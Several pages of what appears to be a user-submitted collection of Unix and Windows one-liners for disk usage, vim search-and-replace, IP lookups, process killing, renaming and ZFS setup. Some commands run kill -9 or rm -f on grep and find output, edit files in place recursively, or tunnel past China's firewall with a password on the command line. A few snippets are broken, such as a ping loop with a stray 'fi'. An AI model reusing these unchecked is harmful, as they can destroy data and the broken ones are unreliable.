cryptmount --generate-key 32 opaque cryptmount --prepare opaque mke2fs /dev/mapper/opaque cryptmount --release opaque mkdir /home/crypt cryptmount -m opaque cryptmount -u opaque For detail see sample output SEARCHPATH=/var/; find $SEARCHPATH -type d -print0 | xargs -0 du -s 2> /dev/null | sort -nr | sed 's|^.*'$SEARCHPATH'|'$SEARCHPATH'|' | xargs du -sh 2> /dev/null 257M /var/ 147M /var/cache 144M /var/cache/apt 110M /var/cache/apt/archives 96M /var/lib 67M /var/lib/apt 66M /var/lib/apt/lists 22M /var/lib/dpkg 20M /var/lib/dpkg/info 15M /var/log Functions: du find sed sort xargs This command lists all the directories in SEARCHPATH by size, displaying their size in a human readable format. :%s/<control-VM>//g strip ^M character from files in VI Files saved on a windows machine use different ascii characters for lines turns. When viewing such files in VI the will most often have a ^M(control-VM) character at the end of each line. This command will remove all occurrences of that character man emacs Backup a file before editing it. Emacs backs up previous versions by default. i="0"; while [ $i -lt 5 ] ; do xpenguins & i=$[$i+1] ; done gnu@robby:~$ i="0"; while [ $i -lt 5 ] ; do xpenguins & i=$[$i+1] ; done [10] 29014 [11] 29015 [12] 29016 [13] 29017 [14] 29018 oneliner to open several times same application just replace the number 5 with the variable you want , and the xpenguins software with the one you want tune2fs -l $(df -P / | tail -n1 | cut -d' ' -f1 ) | grep 'Filesystem created:' Functions: cut df grep tail tune2fs show system installation date sudo ls ; sudo gedit /etc/passwd & Functions: ls sudo Take advantage of sudo keeping you authenticated for ~15 minutes. The command is a little longer, but it does not require X (it can run on a headless server). echo -n "String to MD5" | md5sum | cut -f1 -d' ' 23e4a2a9d1c125733a2e6b797f7f54ef Nothing special about hashing here, only the use of cut, I think, could result at fewer keystrokes. find -iname '*.flac' | sed 's:/[^/]*$::' | uniq ./La Perdita Generacio/(2008-09-06) Eksplodigos vian domon ./Cirkus Miramar/Fisk och skaldjur i svenska vatten ./fsFreak/(2007-06-24) The Lost Love Sessions ./Sigur R?s/(2008-06-23) Me? su? ? eyrum vi? spilum endalaust List your FLAC albums Run this in your music folder, or give the path directly after "find". The sed pattern filters away the basename. html2text http://checkip.dyndns.org | grep -i 'Current IP Address:'|cut -d' ' -f4 The same as the other user, but smarter, using -d and -f ls .[!.]* .adobe .esd_auth .gtk-bookmarks .mcop .themes .bash_history .evolution .gtkrc-1.2-gnome2 .mcoprc .thumbnails .bash_profile .fontconfig .gvfs .metacity .tomboy .bashrc .gaim .ibm .mozilla .tomboy.log .cache .gconf .ICAClient .mozilla-thunderbird .Trash List dot-files and dirs, but not "." and ".." Although rm is protected against it, there are many commands that would wreak havoc on entering the obvious ".*" to address "dot-files". This sweet little expression excludes the dirs "." and ".." that cause the problems. dd if=/dev/zero of=filename.file bs=1024 count=10240 Create dummy file Command to create a dummy file (full of nulls). Useful for testing e.g. file transfers when no file is at hand. bs = blocksize, count = filesize in kilobytes unrar x *.rar unrar e ... extracts all files into current directory, without archived subdirectories order. unrar x is more accurate command. grep -sq "" /etc/lsb-release && lsb_release -rd Execute a command if a file exists grep -sq "" filename && command grep can be used in combination with && to run a command if a file exists. /usr/ucb/ps -auxgww View entire process string echo `lcg-infosites --vo lhcb ce | cut -f 1| grep [[:digit:]]| tr '\n' '+' |sed -e 's/\ //g' -e 's/+$//'`|bc -l 1388123 Functions: bc cut echo grep sed tr count number of CPU available for members of a given Virtual Organization Of course, this command must be executed at a GRID User Interface lhcb - name of your VO, substitute it with the one you are interested it. gominify() { if [ $# -ne 2 ]; then echo 'gominify < src > < dst >'; return; fi; s="$1"; d="$2"; java -jar yui.jar $s >$d; if [ $? == 0 ]; then a=$( ls -sh $s | awk '{print $1}' ); b=$( ls -sh $d | awk '{print $1}' ); echo "Saved $s ($a) to $d ($b)"; fi;} % gominify c.css c-min.css Saved c.css (12K) to c-min.css (8.0K) Functions: awk echo ls Minimize CSS/JS while preserving functionality. This command, or a derivative like it, is a must-have if you're a server administrator interested in website optimization: https://kinqpinz.info/?%C2%B6=287a7ba6 Command requires Yahoo's YUI, find it here: http://developer.yahoo.com/yui/ while [ 1 ]; do date; ls -l /path/to/dir; sleep 1; done Functions: ls sleep watch filesizes (c.f. logfiles, file downloading, etc.) tar -tf <file.tar.gz> | parallel rm rename -n "s/-.*//" * of course, replace the "-" after / by the character you wish. a dot must by protected by a backslash, as it is a regexp. it's the same result as the command proposed. but if there is more than a dash in the name, only the part before the first dash is kept... so that's not an "extension renaming" command. :s/get\(\w\+\)()/set\1($value)/g Before running: public function getX(); public function getY(); After running: public function setX($value); public function setY($value); Convert your getters to setters Change your getters declarations to setter declarations. The regexp assumes that the function name only contains word characters echo 1 2 3 > FILE; while read -a line; do echo ${line[2]}; done < FILE read a file with table like data This will print out the third column of every line in FILE. Useful for many files in /proc or *csv data. tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w 10 | sed 1q Functions: fold sed tr no need that useless cat. kill `ps aux | grep xmms | grep -v grep | awk '{ print $2 }'` I use this command, within a cron job, to kill XMMS after a certain amount of time. This command returns the PID used by XMMS, and gets passed to the kill command. Another alternative would be ps aux | grep xmms | grep -v grep | awk '{ print $2 }' | xargs kill bc $ bc -q 23.79 * .15 3.56 (press Ctrl+D to exit) A handy calculator bc is a wonderful calculator. Just type bc at the command line and have at it. Ctrl+D (or type quit) will get you out. This usage is just scratching the surface: bc can handle a mini scripting language, complete with variable, statements, loop, conditional statements and more. Do a man page on it to find out. ‹ First < 298 299 300 301 302 > Last › svn status |grep '\?' |awk '{print $2}'| parallel -Xj1 svn add leapyear() { if [ $[$1 % 4] -eq 0 ] && [ $[$1 % 100] -ne 0 ] || [ $[$1 % 400] -eq 0 ]; then echo $1' is a leap year!'; else echo $1' is not a leap year.'; fi; } $ leapyear 2000 2000 is a leap year! $ leapyear 2400 2400 is a leap year! $ leapyear 2600 2600 is not a leap year. Tested on bash, and follows all the rules about leap years. > ~/.ssh/known_hosts Remove everyting in a text file. Useful to fix ssh host key warnings This is the quick and dirty alternative ;) The whole file will be emptied, this is equal to /dev/null > ~/.ssh/known_hosts head -1000 < lines.txt | tail -1 get line#1000 from text. killall xmms Kills all xmms running /opt/psa/bin/pleskbackup server -v --output-file=plesk_server.bak Back up a PLESK Installation wget -O - -q http://checkip.dyndns.org/ | cut -d':' -f2 | cut -d'<' -f1| cut -c2- Check your ip public using dyndns.org This is just a "cut" addicted variant of the previous unixmonkey24730 command... svn st | grep /main/java | awk '{print $2}' | xargs echo | xargs svn ci -m "my comment here" Functions: awk echo grep xargs Commit all the changes in your java code rpm -qa --queryformat 'Installed on %{INSTALLTIME:date}\t%{NAME}-%{VERSION}-%{RELEASE}: %{SUMMARY}\n' Query for installed packages on RHEL boxes, and format the output nicely BACKUP_FILE_SIZE=`eval ls -l ${BACKUP_FILE} | awk {'print $5'}`; if [ $BACKUP_FILE_SIZE -le 20 ]; then echo "its empty"; else echo "its not empty"; fi Check if file is greater than 20 bytes, such as an empty gzip archive If you gzip an empty file it becomes 20 bytes. Some backup checks i do check to see if the file is greater than zero size (-s flag) but this is no good here. Im sure someone has a better check than me for this? No check to see if file exists before checking it's size. java -jar compiler.jar --js file.js Uses Google Closure Compiler (can be downloaded via http://closure-compiler.googlecode.com/files/compiler-latest.zip) svn st | cut -c 9- | parallel -X tar -czvf ../backup.tgz Functions: cut tar xargs deals badly with special characters (such as space, ' and "). In this case if you have a file called '12" record'. Both solutions work bad if the number of files is more than the allowed line length of the shell. usage: top -hv | -bcisSHM -d delay -n iterations [-u user | -U user] -p pid [,pid ...] usage: top -hv | -bcisSHM -d delay -n iterations [-u user | -U user] -p pid [,pid ...] ldapsearch -H ldap://localhost:389 -D cn=username,ou=users,dc=domain -x -W -b ou=groups,dc=domain '(member=cn=username,ou=users,dc=domain)' | grep ^dn | sed "s/dn\: cn=\([^,]*\),ou=\([^,]*\),.*/\2 \1/" grouptype1 groupname1 grouptype1 groupname2 grouptype1 groupname3 grouptype2 groupname4 grouptype2 groupname5 search for groups in ldap This expression looks for groups inside of a GroupOfNames class element, that is itself inside one (or many) Organizational Unit (ou) nodes in the ldap tree. Give you a quick dump of all the groups the user belongs to. Handy for displaying on a webpage. perl -e 'use Date::Calc qw(Today Week_Number); $weekn = Week_Number(Today); print "$weekn\n"' wget -O - -q http://www.chisono.it/ip.asp && echo Get your public IP using chisono.it The echo at the end is for pretty printing as the output is just the IP address without any html du -s * | sort -nr | head | cut -f2 | parallel -k du -sh 33M a b 17M libxnee 3.6M doc 3.0M gnee Functions: cut du head sort If a directory name contains space xargs will do the wrong thing. Parallel https://savannah.nongnu.org/projects/parallel/ deals better with that. :%s/foo/bar/g Search and replace in VIM Basic search and replaceEdit The :substitute command searches for a text pattern, and replaces it with a text string. There are many options, but these are what you probably want: Find each occurrence of 'foo', and replace it with 'bar'. :%s/foo/bar/gc Change each 'foo' to 'bar', but ask for confirmation first. :%s/\/bar/gc Change only whole words exactly matching 'foo' to 'bar'; ask for confirmation. :%s/foo/bar/gci Change each 'foo' (case insensitive) to 'bar'; ask for confirmation. :%s/foo/bar/gcI Change each 'foo' (case sensitive) to 'bar'; ask for confirmation. The g flag means global ? each occurrence in the line is changed, rather than just the first. Search range: :s/foo/bar/g Change each 'foo' to 'bar' in the current line. :%s/foo/bar/g Change each 'foo' to 'bar' in all lines. :5,12s/foo/bar/g Change each 'foo' to 'bar' for all lines from line 5 to line 12 inclusive. :'a,'bs/foo/bar/g Change each 'foo' to 'bar' for all lines from mark a to mark b inclusive. :.,$s/foo/bar/g Change each 'foo' to 'bar' for all lines from the current line (.) to the last line ($) inclusive. :.,+2s/foo/bar/g Change each 'foo' to 'bar' for the current line (.) and the two next lines (+2). :%s/foo/bar/g Equivalent to :1,$s/foo/bar/g (change all lines). :g/^baz/s/foo/bar/g Change each 'foo' to 'bar' in each line starting with 'baz'. When searching: ., *, \, [, ], ^, and $ are metacharacters. +, ?, |, {, }, (, and ) must be escaped to use their special function. \/ is / (use backslash + forward slash to search for forward slash) \t is tab, \s is whitespace \n is newline, \r is CR (carriage return = Ctrl-M = ^M) \{#\} is used for repetition. /foo.\{2\} will match foo and the two following characters. The \ is not required on the closing } so /foo.\{2} will do the same thing. \(foo\) makes a backreference to foo. Parenthesis without escapes are literally matched. Here the \ is required for the closing \). When replacing: \r is newline, \n is a null byte (0x00). \& is ampersand (& is the text that matches the search pattern). \1 inserts the text of the first backreference. \2 inserts the second backreference, and so on. You can use other delimiters with substitute: :s#http://www.example.com/index.html#http://example.com/# Save typing by using \zs and \ze to set the start and end of a pattern. For example, instead of: :s/Copyright 2007 All Rights Reserved/Copyright 2008 All Rights Reserved/ Use: :s/Copyright \zs2007\ze All Rights Reserved/2008/ Using the current word or registersEdit :%s//bar/g Replace each match of the last search pattern with 'bar'. For example, you might first place the cursor on the word foo then press * to search for that word. The above substitute would then change all words exactly matching 'foo' to 'bar'. :%s/foo//g Replace each occurrence of 'foo' with the word under the cursor. means that you press Ctrl-R then Ctrl-W. The word under the cursor will be inserted as though you typed it. Replace each occurrence of 'foo' with the WORD under the cursor (delimited by whitespace). means that you press Ctrl-R then Ctrl-A. The WORD under the cursor will be inserted as though you typed it. :%s/foo/a/g Replace each occurrence of 'foo' with the contents of register 'a'. a means that you press Ctrl-R then a. The contents of register 'a' will be inserted as though you typed it. :%s/foo/\=@a/g \=@a is a reference to register 'a'. The contents of register 'a' is not shown in the command. This is useful if the register contains many lines of text. :%s////g Replace each match of the last search pattern with the / register (the last search pattern). After pressing Ctrl-R then / to insert the last search pattern (and before pressing Enter to perform the command), you could edit the text to make any required change. :%s/*/bar/g Replace all occurrences of the text in the system clipboard (in the * register) with 'bar' (see next example if multiline). On some systems, selecting text (in Vim or another application) is all that is required to place that text in the * register. :%s/a/bar/g Replace all occurrences of the text in register 'a' with 'bar'. a means that you press Ctrl-R then a. The contents of register 'a' will be inserted as though you typed it. Any newlines in register 'a' are inserted as ^M and are not found. The search works if each ^M is manually replaced with '\n' (two characters: backslash, 'n'). This replacement can be performed while you type the command: :%s/=substitute(@a,"\n",'\\n','g')/bar/g The "\n" (double quotes) represents the single character newline; the '\\n' (single quotes) represents two backslashes followed by 'n'. The substitute() function is evaluated by the = (Ctrl-R =) expression register; it replaces each newline with a single backslash followed by 'n'. The indicates that you press Enter to finish the = expression. See Paste registers in search or colon commands instead of using the clipboard. Additional examplesEdit :%s/foo/bar/ On each line, replace the first occurrence of "foo" with "bar". :%s/.*\zsfoo/bar/ On each line, replace the last occurrence of "foo" with "bar". :%s/\.*// On each line, delete the whole word "foo" and all following text (to end of line). :%s/\.\{5}// On each line, delete the whole word "foo" and the following five characters. :%s/\\zs.*// On each line, delete all text following the whole word "foo" (to end of line). :%s/.*\// On each line, delete the whole word "foo" and all preceding text (from beginning of line). :%s/.*\ze\// On each line, delete all the text preceding the whole word "foo" (from beginning of line). :%s/.*\(\\).*/\1/ On each line, delete all the text preceding and following the whole word "foo". Special casesEdit For substituting patterns with a corresponding case-sensitive text, Michael Geddes's keepcase plugin can be used, e.g.: :%SubstituteCase/\cHello/goodBye/g Substitute 'Hello hello helLo HELLO' by 'Goodbye goodbye goodBye GOODBYE' For changing the offsets in a patch file (line number of a block), this little snippet can be used: s/^@@ -\(\d\+\),\(\d\+\) +\(\d\+\),\(\d\+\) @@$/\="@@ -".eval(submatch(1)+offsetdiff).",".submatch(2)." +".eval(submatch(3)+offsetdiff).",".submatch(4)." @@"/g Useful when we want to strip some blocks from a patch, without patch having to complain about offset differences. Note Should try to make the expression more compact, but don't know how without having the possibility of modifying unwanted lines. yes|for x in one two three; do echo result - $x; done result - one result - two result - three Functions: echo yes iiterate through argument list and pass to command simple bash one liner to pass multiple arguments to command one by one. optional yes/no pipe at beginning of command grep -rc logged_in app/ | cut -d : -f 2 | awk '{sum+=$1} END {print sum}' grep's -c outputs how may matches there are for a given file as "file:N", cut takes the N's and awk does the sum. vboxmanage startvm --type gui $(vboxmanage list vms | sed -e 's/"//g' | cut -f1 -d ' ' | dmenu -i -p "VMs") List the vms in Virtualbox and start them using dmenu stsadm -o addalternatedomain -url http://paperino.paperopoli.com -urlzone Internet -incomingurl http://quiquoqua.paperopoli.com How to add an "alternate access mapping" from the command line How to add an "alternate access mapping" from the command line and avoid passing on Friday evening following the interpretation of the all-too-terse "log" of SharePoint? head -c $((<pw-lenght>-2)) /dev/urandom | uuencode -m - | sed -e '1d' -e '3d' | sed -e 's/=.*$//g' Functions: head sed uuencode Creates a random passwort from /dev/urandom [0-9A-za-z] Replace < pw-length > with the desired password-length. The password-length is not always correct, but wayne... ifconfig | grep eth | awk '{print $5}' 00:11:22:33:44:55 This command is useful when you want to check your nic's mac address, if you're interested in your wireless interface, use its ID instead "eth". This command was tested under Ubuntu and Slackware GNU/Linux. ‹ First < 299 300 301 302 303 > Last › ips(){ for if in ${1:-$(ip link list|grep '^.: '|cut -d\ -f2|cut -d: -f1)};do cur=$(ifconfig $if|grep "inet addr"|sed 's/.*inet addr:\([0-9\.]*\).*/\1/g');printf '%-5s%-15s%-15s\n' $if $cur $(nc -s $cur sine.cluenet.org 128 2>/dev/null||echo $cur);done;} nathan@lion:~$ ips nathan@lion:~$ ips eth0 Functions: cut echo grep ifconfig link sed Get internal and external IP addresses Gets the internal and external IP addresses of all your interfaces, or the ones given as arguments svn log -q | grep -v "^-" | cut -d "|" -f 2 | sort -u Get a list of all contributors to an SVN repo find . -type f -exec ls -s \{\} \; | sort -n Find size of the files in this directory tree. (sorted) Finds all files below the current directory. Orders the result from smallest to largest. Good for finding the largest files in the tree. tac $FILETOREVERSE alias myip='curl -s www.wieistmeineip.de | egrep -o "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"' Functions: alias egrep Shows your WAN IP, when you`re sitting behind a router egrep -i "somepattern" `find . -type f -print` du -shc .[^.]* * | grep [MG] show large folders and files, including hidden shows only folders, that are MB or GB in total size links2 -dump http://checkip.dyndns.com| egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' Just an alternative :) ps -ef | grep PROCESS | grep -v grep | awk '{print $2}' | xargs kill -9 kills all pids matching the search term of "PROCESS". Be careful what you wish for :) wget -O- -q http://www.nomachine.com/download-package.php?Prod_Id=2067 | sed -n -e 'H;${x;s/\n/ /g;p;}' | sed -e "s/[Hh][Rr][Ee][Ff]=\"/\n/g" | cut -d "\"" -f1 | sort -u | grep deb$ Functions: cut grep sed sort wget gconftool --set /option/to/set --type=some_type value Gconf Editor command line In some system you have to use "gconftool-2" instead of "gconftool" E.g.: gconftool --set /desktop/gnome/interface/menus_have_icons --type=bool true Computer Icon on Desktop gconftool --set /apps/nautilus/desktop/computer_icon_visible --type=bool true Home Icon on Desktop gconftool --set /apps/nautilus/desktop/home_icon_visible --type=bool true Network Icon on Desktop gconftool --set /apps/nautilus/desktop/network_icon_visible --type=bool true Trash Icon on Desktop gconftool --set /apps/nautilus/desktop/trash_icon_visible --type=bool true Volume Icons on Desktop gconftool --set /apps/nautilus/desktop/volumes_visible --type=bool true ps -e | grep SearchStringHere Search for a running process through grep pgrep <name> --( user@hostname )--( ~ )-- :) --$ pgrep iTunes 236 303 --$ pgrep -l iTunes 236 iTunesHelper 303 iTunes psgrep You'll need to install proctools. MacPorts and Fink have this if you're running Mac OS X, check your Linux distribution's repositories if it isn't installed by default. kill -9 `ps -u user -o "pid="` Removing Backgroud Process wget http://tools.web4host.net/versions.tmp --quiet -O - | grep PHPMYADMIN | sed 's/PHPMYADMIN=//' | cat 3.4.4-all-languages Get the latest version of phpMyAdmin This is to get the latest version of phpMyAdmin to support scripts to download the latest version of the software if they want to automatically update. alias lso="sudo lsof -i -T -n" [sudo] password for digi: COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME ... (output varies) alias for lsof -i -T -n list what applications using what ports who -m | sed 's/.*(\(.*\)).*/\1/' mypc01 Functions: sed who Get the host from where you logged in Will print the host associated with the current stdin. This is useful to set the DOIT_SERVER for the doit remote execution agent ( http://www.chiark.greenend.org.uk/~sgtatham/doit/ ) export DOIT_HOST=$(who -m | sed 's/.*(\(.*\)).*/\1/') Note that SSH_CLIENT variable can be lost if you use su or sudo (if set to reset vars) RANGE=500;number=$RANDOM let "number %= $RANGE"; echo "Random number less than $RANGE --- $number" Random number less than X lynx -dump http://www.domain.com | grep http| awk '{print $2 }' http://www.domain.com/?lang=es http://www.domain.com/ https://secure.domain.com/order/usc/index.php?siteid=42566 http://www.domain.com/account/ https://secure.domain.com/webmail/?siteid=42566 http://www.domain.com/contact/ http://www.domain.com/domains/ http://www.domain.com/hosting/ http://www.domain.com/vps/ http://www.domain.com/email/ http://www.domain.com/designstudio/ http://www.domain.com/ssl/ firefox -ProfileManager -no-remote If you need to create a profile and are already running Firefox, you don't need to close it to do it. Also, if you don't know the exact name of the profile, this would allow you to pick from a list. echo "12345,12346" |sed -e's/ //'|tr "," "\n"| while read line; do echo -n $line" "; svn log -vr $line https://url/to/svn/repository/|grep "/"|head -1|cut -d"/" -f2; done Functions: cut echo grep head read sed tr Find the svn directory that a commit was made in. Usefull if you have many projects in one repository. for i in ./*.$1; do mv "$i" `echo $i | tr ' ' '_'`; done for i in ./*.$1; do mv "$i" `echo $i | tr '[A-Z]' '[a-z]'`; done for i in ./*.$1; do mv "$i" `echo $i | tr '-' '_'`; done for i in ./*.$1; do mv "$i" `echo $i | tr -s '_' `; done Remove spaces and convert to lowercase filename with a certain extension, to be saved and called as a script with the extension as an argument. export PATH=$PATH:`pwd` Append current directory to $PATH temporarily. This will temporarily add the current directory to your $PATH. Allowing you to execute from that directory for the duration of the session. current_dir=$(cd $(dirname $BASH_SOURCE);pwd) I think this is the cleanest way of getting the current working directory of a script. It also works on osx, Linux, and probably bsd as well.. ‹ First < 300 301 302 303 304 > Last › ps -ef | grep APP | awk '/grep/!{print$2}' | xargs -i kill {} find and kill a pid for APP Probably posted previously, I use this all the time to find and kill a process for "APP". Simply replace "APP" with the name of the process you're looking to kill. pkill -f foo ps -ef|grep foo pkill -f foo kill all processes with name or argument Be careful when issuing this command, it may kill unwanted processes! To only search on the process name don't use the argument -f, pkill foo for x in *.dat;do sort -k 3 $x >tmp && mv -f tmp $x;done Functions: mv sort Sort all the ".dat" files in current directory by column 3 (change it accordingly), and replace the sorted one with original. We normally get tasks in which one has to sort a data file according to some column. For a single file say foo, we would use sort -k 3 foo >tmp && tmp foo The for loop is useful when we have to do it on a number of files. echo $SHELL /bin/zsh Isn't that simplier huh? awk '{print(substr($0,1,5))}' file lamin this with comma Laminate a file Consider this file : laminate this file with awk hello to commandlinefu I can use awk substring to laminate words : lamin with hello comma Similar to http://www.commandlinefu.com/commands/view/2000/laminate-files-line-by-line lynx -dump http://domaim.com | egrep -o -e 'http://[/0-9a-z.]+html' exec 3<>/dev/tcp/whatismyip.com/80; echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" >&3; a=( $(cat <&3) ); echo ${a[${#a[*]}-1]}; Functions: cat echo exec bash neto.. ls /dev/disk/by-uuid/ -alh cat `ls -r /sys/class/net/*/address` | sort -u type -a python Show all "python" executables f -f -e mplayer movie Open frequnet/recent file mathcing "movie" with mplayer using f This is one use case of `f`. You need to install `f`(https://github.com/clvv/f) for this to work. With f, you can access any file by only typing some of its name regardless of where you are. f is inspired by autojump and z. tar -pczf archive_name.tar.gz /path/to/dir/or/file /path/to/dir/or/file/ /path/to/dir/or/file/file1.ext /path/to/dir/or/file/file2.ext create tar.gz archive Create a single tar.gz archive I know it's a very basic one, but it's one I keep forgetting. for i in 192.168.1.{61..71};do ping -c 1 $i &> /dev/null && echo $i;fi;done Echo the local IP addresses of the machines on your local network If you need to ssh into a computer on the local network but you're unsure of the ip to use, then ping them and see if you get a response. If you do, print out the address you got it from. Adjust the range to suit your network. file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i x86_64 |nl | tail -1 | cut -f1 -f3; file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i "mach-o object i386" |nl | tail -1 | cut -f1 -f3 127 Mach-O 64-bit kext bundle x86_64 140 Mach-O object i386 Not as far off as you thought, now is it? -mac fanboy IP=`ifconfig eth0 | grep "inet addr:" | ips |cut -d ":" -f 2 | cut -d " " -f 1`;SUBNET=`ifconfig eth0 | grep "inet addr:" | ips |cut -d ":" -f 3 | cut -d " " -f 1`;RANGE=`ipcalc $IP/$SUBNET | grep "Network:" | cut -d ' ' -f 4`;echo $RANGE 192.168.0.1/24 Require ips and ipcalc ls -lah --color=always | most paged 'ls' in color Even though --color is an option for 'ls' it will not display in color when doing 'ls -lah --color=always | less' to have color output when doing a directory listing and piping it out to page through results, replace less with most. To install most if not installed, run: sudo apt-get install most find . -type f -exec sed -i 's/gw10./gw17./g' {} \; finds all files in dir and replaces cowsay -l | sed '1d;s/ /\n/g' | while read f; do cowsay -f $f $f;done Show all cowsay's available cowfiles find . \( -name "*.as[pc]x" -o -name "*.htm*" \) -exec grep -Hi "jquery-1" {} + Look for jQuery version script include in files *asp*$, *htm*$ ie. not *.aspx.cs msiexec.exe /i product.msi /l* c:\folder\LogFileName.txt Force log creation when running an msi install cat /service/solr/log/main/current | tai64nlocal | grep "\(`date '+%F %H'`\|`date '+%F %H %M' | awk '{print $1" 0"$2-1":"$3}'`\)" | grep QTime | awk '{print $NF}' | awk -F\= '{ s += $2} END {print s/NR}' Find the average QTime for all queries ran within the last hour for solr ifconfig | grep -B 1 "inet addr:" | head -1 | cut -d" " -f1 Functions: cut grep head ifconfig Get name of first configured interface Get the line containing "inet addr:" and the line before that, get down to only the first line, and then get the first word on that line, which should be the interface. #sbcl --script example.lisp run a common lisp script with sbcl compiler plink -v -ssh -N -D 8580 -l USERNAME -pw PASSWARD 192.168.2.12 pass CHINA GFW ‹ First < 301 302 303 304 305 > Last › grep -r "sampleString" . |uniq | cut -d: -f1 | xargs sed -i "/sampleString/d" Functions: cut grep sed xargs edit files in current and subdir, remove all lines that containing certain string checking files in current and sub directories, finding out the files containing "sampleString" and removing the containing lines from the file. * Beware that The command will update the original file [no backup]. The command can be extended if play with 'find' command together, e.g. it is possible to execute on certain type of files: *.xml, *.txt... (find -name "*.xml" | grep....) if anybody knows a better solution on that, please drop a comment. thx. ls /some/directory | sed -rn -e 's/input_file_regex/mv -v & output_file_name/p' | sh $ ls ~/manga/ | sed -rn -e 's/naruto_(...\.zip)/mv -v & \1/p' | sh `naruto_431.zip' -> `431.zip' `naruto_432.zip' -> `432.zip' `naruto_433.zip' -> `433.zip' `naruto_434.zip' -> `434.zip' Easy Regex based mass renaming Allows for quick mass renaming, assuming the user has some familiarity with regular expressions. Basically, it replaces the original_file_name in the output of ls with "mv -v original_file_name new_file_name" and passes the output to sh. feh --bg-center `ls -U1 |sort -R |head -1` Set background image to random file from current dir. FECHA=$(date +"%F") FINAL="$FECHA.sql.gz" mysqldump -h localhost -u user --password="pass" --opt jdiaz61_lupajuridica | gzip > /home/jdiaz61/www/backup/$FINAL Script para hacer un acopia d ela base de datos mysql Tres lineas en un shell script para copiar la base de datos diaramente find . type f -exec echo http://exg.com/{} \; > file Functions: echo find type Find all files and append to file find all files in cur dir add to url and append to file feh --bg-center `ls | shuf -n 1` wget --mirror -A.jpg http://www.xs4all.nl/~dassel/wall/ Get me only those jpeg files! man -t [command] | lp -d PDF -t [command].pdf Functions: lp man Print man pages to PDF (yes, another one) This is what I use to collect man pages before I print them out. There are other ones that have been submitted, so I just wanted to give out another. Requires cups-pdf to be installed. route -n | awk '$2 ~/[1-9]+/ {print $2;}' Find your default gateway and print it directly output http://www.bilgisayarmatematik.com/ zpool create tank raidz c0t0d0 c0t1d0 c0t2d0 c0t3d0 c0t4d0 c0t5d0 Creating a RAID-Z Storage Pool The following command creates a pool with a single raidz root vdev that consists of six disks. sudo ifconfig -a | grep eth | grep HW | cut -d' ' -f11 00:1e:68:1a:88:69 Functions: cut grep ifconfig sudo curl http://www.chisono.it/ip.asp zpool create tank mirror c0t0d0 c0t1d0 mirror c0t2d0 c0t3d0 Creating a Mirrored Storage Pool using Zpool command creates a pool with two mirrors, where each mirror contains two disks. for i in *.xml; do sed -i 's/foo/bar/g' "$i"; done Change password in list of xml files with for and sed for ((;;)) do pgrep wget ||shutdown -h now; sleep 5; done Functions: shutdown sleep wget if download end,shutdown ls > ls; paste ls ls > ren; nano ren; sed 's/^/mv /' ren|bash; rm ren ls Functions: ls paste rm sed Instead of tedious manual mv commands and tabbing, this routine creates a file listing all the filenames in the PWD twice, edit the second instance on each line to the new name, then save the file, the routine does the rest. Feel free to replace nano with your holy war editor of choice. You will get a lot of "mv: 'x' and 'x' are the same file" warnings, these could be cleaned up but the routine works. sed -n -e 1186,1210p A-small-practice.in 6 6 3 9 3 1 2 2 1 4 2 7 2 4 1 0 3 3 0 1 5 7 1 6 5 9 2 2 3 3 7 9 6 0 Using sed to extract lines in a text file If you write bash scripts a lot, you are bound to run into a situation where you want to extract some lines from a file. Yesterday, I needed to extract the first line of a file, say named somefile.txt. cat somefile.txt This specific task can be easily done with this: head -1 somefile.txt For a more complicated task, like extract the second to third lines of a file. head is inadequate. So, let's try extracting lines using sed: the stream editor. My first attempt uses the p sed command (for print): sed 1p somefile.txt Note that it prints the whole file, with the first line printed twice. Why? The default output behavior is to print every line of the input file stream. The explicit 1p command just tells it to print the first line .... again. To fix it, you need to suppress the default output (using -n), making explicit prints the only way to print to default output. sed -n 1p somefile.txt Alternatively, you can tell sed to delete all but the first line. sed '1!d' somefile.txt '1!d' means if a line is not(!) the first line, delete. Note that the single quotes are necessary. Otherwise, the !d will bring back the last command you executed that starts with the letter d. To extract a range of lines, say lines 2 to 4, you can execute either of the following: sed -n 2,4p somefile.txt sed '2,4!d' somefile.txt Note that the comma specifies a range (from the line before the comma to the line after). What if the lines you want to extract are not in sequence, say lines 1 to 2, and line 4? sed -n -e 1,2p -e 4p somefile.txt zpool create tank /path/to/file/a /path/to/file/b Creating a ZFS Storage Pool by Using Files This command creates an unmirrored pool using files. While not recommended, a pool based on files can be useful for experimental purposes. netsh interface ip dump > current-interfaces.txt # ---------------------------------- # Interface IP Configuration pushd interface ip # Interface IP Configuration for "builtin" set address name="builtin" source=dhcp set dns name="builtin" source=static addr=192.168.0.12 register=PRIMARY add dns name="builtin" addr=192.168.0.1 index=2 set wins name="builtin" source=dhcp popd # End of interface IP configuration Save the network interface info into a text file, so that you can re-apply it later On Windows 2000 or newer, you can use the command line to save the current network interface info. You can then edit the text file and re-apply it using the netsh -f command (or netsh exec). Keep a bunch of text files around to quickly switch connection info without using extra software. http://en.wikipedia.org/wiki/Netsh http://support.microsoft.com/kb/242468 http://thelazyadmin.com/blogs/thelazyadmin/archive/2005/04/04/Using-Netsh-to-Manage-Network-Interfaces-Part-2.aspx rm -f `find ./ | grep "\.\_.*"` Functions: grep rm Mac OSX creates resource forks (http://en.wikipedia.org/wiki/Resource_fork) for every file, which are extremely annoying when transferring projects over to an Ubuntu server for instance perl -e 'print "\n"x100' Echo several blank lines Perl variant of echo several blank lines command ps aux| grep -v grep| grep httpd| awk {'print $2'}| xargs kill -9 Killing multiplpe process for one program like apache, wget, postfix etc. sed -i "s/\s*/ /g;s/\s*$//" input_file Get rid of multiple spaces/tabs in a text file A much shorter version of this command. host `hostname` On Linux: server1.linux_mc.com has address xxx.xx.xxx.xxx On Solaris: server1.solaris_mc.com A xxx.xx.xxx.xxx On AIX: server3.aix_mc.com is xxx.xx.xxx.xx, Aliases: server3 Finding hostname and the IP Address of your machine This is a useful command that gives the hostname and the IP Address of your machine, on many OS. Tested on Linux and Solaris. host command here is followed by `hostname`. Note the ` in the command is a back quote (or grave accent or back tic that usually shares the space with the ~ key). No other options are specified. See sample output. wc -l `find . -name *.php` 